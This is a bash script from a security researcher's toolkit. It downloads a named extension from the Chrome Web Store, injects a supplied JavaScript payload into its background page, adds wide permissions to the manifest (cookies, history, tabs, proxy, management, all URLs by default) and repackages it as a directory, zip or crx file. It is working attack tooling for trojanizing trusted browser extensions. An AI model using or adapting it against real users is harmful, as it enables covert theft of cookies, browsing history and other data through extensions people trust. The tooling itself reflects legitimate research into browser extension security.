#!/usr/bin/env bash

# Authors:
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net
#
# Downloads extension from Google Chrome Webstore, inject it with given payload, and, optionally
# packs it into zip/crx file
# see ../README.md

RUNDIR=`pwd`
DIR=$( cd "$( dirname "$0" )" && pwd )
tempfoo=`basename $0`
TMPDIR=`mktemp -d -t ${tempfoo}` || exit 1

function help {
    printf "Usage: %s: [-q] <extension_id> <mode> <destination> <inject-bg.js> [permissions] [file1 ...] \n" $(basename $0) >&2
    echo "         -q : quiet, only repacked extension filename will be printed to stdout" >&2
    echo "         <extension_id> - extension id from Chrome WebStore" >&2
    echo "         <mode> - output mode (dir|zip|crx)" >&2
    echo "         <destination> - directory or file path to write injected extension to (depending on <mode>)" >&2
    echo "         <inject-bg.js> - script to inject into extension background" >&2
    echo "         [permissions] - comma separated permissions requested by script (to add to manifest)">&2    
    echo "         [file...] - additional files to add to extension" >&2    
    exit 2
}

function cleanup {
    rm -rf "$TMPDIR"
    cd "$RUNDIR"
}

function bailout () {
    echo "Error: $1" >&2
    cleanup
    exit 1
}

#Parsing command line parameters
QUIET=
PERMISSIONS="tabs,proxy,<all_urls>,history,cookies,management,plugins"

while getopts 'qh' OPTION
do
    case $OPTION in
    q)  QUIET="1"
        ;;
    h)  help
        ;;
    *)  help
        ;;
    esac
done

shift $(($OPTIND - 1))

if [[ $# -eq 0 ]] ; then
    help
fi

EXT_ID="$1"
MODE="$2"
DESTINATION="$3"
JS_FILE="$4"
PERMISSIONS="$5"
shift 5

if [ -z "$EXT_ID" ]; then
    bailout "No extension ID!"
fi

if [ ! -f "${JS_FILE}" ]; then
    bailout "No file to inject! - ${JS_FILE}"
fi

if [ -z "$DESTINATION" ] || [ -z "$MODE" ]; then
    bailout "You must give mode and destination!"
fi

WEBSTORE_URL="https://clients2.google.com/service/update2/crx?response=redirect&x=id%3D${EXT_ID}%26lang%3Dpl%26uc"

# offline test
# cp tmp/adblock.crx "$TMPDIR/org.crx"

if [ "$QUIET" ]; then
    curl -L "$WEBSTORE_URL" -o "$TMPDIR/org.crx" --silent
else
    curl -L "$WEBSTORE_URL" -o "$TMPDIR/org.crx"
fi

if (( $? )) ; then 
    bailout "CURL failed."
fi

if [ "$QUIET" ]; then
    $DIR/repacker-crx.sh "$TMPDIR/org.crx" "$MODE" "$DESTINATION" "$JS_FILE" "$PERMISSIONS" $@ >/dev/null || bailout "Repacker failed"
    echo -n $DESTINATION
else
    $DIR/repacker-crx.sh "$TMPDIR/org.crx" "$MODE" "$DESTINATION" "$JS_FILE" "$PERMISSIONS" $@ || bailout "Repacker failed"
fi
rm $TMPDIR/org.crx